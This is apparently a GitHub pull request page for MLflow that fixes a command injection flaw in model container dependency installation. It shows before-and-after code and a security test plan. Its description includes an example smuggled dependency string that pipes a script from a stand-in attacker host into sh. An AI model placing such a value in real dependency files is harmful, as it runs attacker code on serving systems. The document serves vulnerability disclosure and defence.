fix(security): prevent command injection via malicious model artifacts#19583
Conversation
|
@ColeMurray Thank you for the contribution! Could you fix the following issue(s)? ⚠ DCO checkThe DCO check failed. Please sign off your commit(s) by following the instructions here. See https://github.com/mlflow/mlflow/blob/master/CONTRIBUTING.md#sign-your-work for more details. ⚠ Invalid PR templateThis PR does not appear to have been filed using the MLflow PR template. Please copy the PR template from here and fill it out. |
There was a problem hiding this comment.
Pull request overview
This PR addresses a critical command injection vulnerability (CWE-78) in the _install_model_dependencies_to_env() function. The fix replaces shell-based command execution with a safer subprocess list-based approach using shlex.split() and direct argument passing, preventing malicious model artifacts from executing arbitrary commands.
Key changes:
- Replaced vulnerable shell interpolation with argument list construction
- Added
shleximport for proper argument splitting - Implemented comprehensive security test suite
Reviewed changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated 1 comment.
| File | Description |
|---|---|
| mlflow/models/container/init.py | Fixed command injection vulnerability by replacing shell execution with list-based subprocess arguments using shlex.split() and sys.executable |
| tests/models/test_container.py | Added comprehensive test suite covering command injection prevention across multiple attack vectors (semicolon, pipe, backticks, $(), &&) and functional correctness |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
35c1a39 to
50474a6
Compare
50474a6 to
6779276
Compare
|
question: the injected shell commands are executed inside the container, will it be harmful ? |
|
Documentation preview for 0dfcb8f is available at: More info
|
## Summary Fix command injection vulnerability in _install_model_dependencies_to_env() where dependency specifications from python_env.yaml were directly interpolated into a shell command without sanitization. ## Vulnerability Details - File: mlflow/models/container/__init__.py, line 146 - CWE-78: Improper Neutralization of Special Elements used in an OS Command - CVSS 3.1: 8.8 (High) An attacker who can supply a malicious model artifact could achieve arbitrary command execution by including shell metacharacters in the dependency list of python_env.yaml. For example: ```yaml dependencies: - "numpy; curl https://attacker.com/malware.sh | sh; #" ``` When deployed with env_manager=LOCAL, this would execute the injected shell commands with the privileges of the serving container. ## Fix - Replace shell execution with subprocess list arguments - Use shlex.split() to properly parse dependency strings - Use sys.executable instead of hardcoded "python" Before (vulnerable): ```python deps = " ".join(python_env.build_dependencies + python_env.dependencies) Popen(["bash", "-c", f"python -m pip install {deps}"]) ``` After (safe): ```python pip_args = [sys.executable, "-m", "pip", "install"] for dep in python_env.build_dependencies + python_env.dependencies: pip_args.extend(shlex.split(dep)) Popen(pip_args) ``` ## Testing Added comprehensive test suite covering: - Command injection via semicolon, pipe, backticks, $(), && - Legitimate package installation still works - -r requirements.txt syntax works correctly - Path replacement for requirements.txt - No shell execution verification Signed-off-by: Cole Murray <colemurray.cs@gmail.com>
0dfcb8f to
fbecaa5
Compare
|
@WeichenXu123, Yes, execution inside the container is harmful for several reasons:
The container is the deployment target - compromising it means compromising your production ML serving infrastructure. |
mlflow#19583) Signed-off-by: Cole Murray <colemurray.cs@gmail.com>
#19583) Signed-off-by: Cole Murray <colemurray.cs@gmail.com>
Related Issues/PRs
#19582
What changes are proposed in this pull request?
Fix command injection vulnerability in
_install_model_dependencies_to_env()where dependency specifications frompython_env.yamlwere directly interpolated into a shell command without sanitization.Vulnerability Details:
mlflow/models/container/__init__.py, line 146An attacker who can supply a malicious model artifact could achieve arbitrary command execution by including shell metacharacters in the dependency list of
python_env.yaml. For example:When deployed with
env_manager=LOCAL, this would execute the injected shell commands with the privileges of the serving container.Fix:
shlex.split()to properly parse dependency strings like-r requirements.txtsys.executableinstead of hardcodedpythonrequirements.txtwhen it's an exact match or path suffix (not when it's part of a package name)Before (vulnerable):
After (safe):
How is this PR tested?
Added comprehensive test suite (
tests/models/test_container.py) with 11 test cases:test_command_injection_via_semicolon_blocked- Tests;injectiontest_command_injection_via_pipe_blocked- Tests|injectiontest_command_injection_via_backticks_blocked- Tests backtick injectiontest_command_injection_via_dollar_parens_blocked- Tests$()injectiontest_command_injection_via_ampersand_blocked- Tests&&injectiontest_legitimate_package_install- Verifies normal packages still worktest_requirements_file_reference- Verifies-r requirements.txtworkstest_requirements_path_replacement- Verifies path replacementtest_no_shell_execution- Verifies subprocess uses list args, not shelltest_build_dependencies_processed- Verifies build deps are includedtest_package_name_with_requirements_substring_not_modified- Verifies package names likemy-requirements.txt-parserare not incorrectly modifiedAll tests pass.
Does this PR require documentation update?
Release Notes
Is this a user-facing change?
Security fix: Fixed command injection vulnerability in model container initialization. Malicious model artifacts could previously execute arbitrary shell commands during deployment when using
env_manager=LOCAL. Users who deploy untrusted models should upgrade immediately.What component(s), interfaces, languages, and integrations does this PR affect?
Components
area/tracking: Tracking Service, tracking client APIs, autologgingarea/models: MLmodel format, model serialization/deserialization, flavorsarea/model-registry: Model Registry service, APIs, and the fluent client calls for Model Registryarea/scoring: MLflow Model server, model deployment tools, Spark UDFsarea/evaluation: MLflow model evaluation features, evaluation metrics, and evaluation workflowsarea/gateway: MLflow AI Gateway client APIs, server, and third-party integrationsarea/prompts: MLflow prompt engineering features, prompt templates, and prompt managementarea/tracing: MLflow Tracing features, tracing APIs, and LLM tracing functionalityarea/projects: MLproject format, project running backendsarea/uiux: Front-end, user experience, plotting, JavaScript, JavaScript dev serverarea/build: Build and test infrastructure for MLflowarea/docs: MLflow documentation pagesHow should the PR be classified in the release notes? Choose one:
rn/none- No description will be included. The PR will be mentioned only by the PR number in the "Small Bugfixes and Documentation Updates" sectionrn/breaking-change- The PR will be mentioned in the "Breaking Changes" sectionrn/feature- A new user-facing feature worth mentioning in the release notesrn/bug-fix- A user-facing bug fix worth mentioning in the release notesrn/documentation- A user-facing documentation change worth mentioning in the release notesShould this PR be included in the next patch release?
This is a security fix and should be included in the next patch release to protect users deploying untrusted models.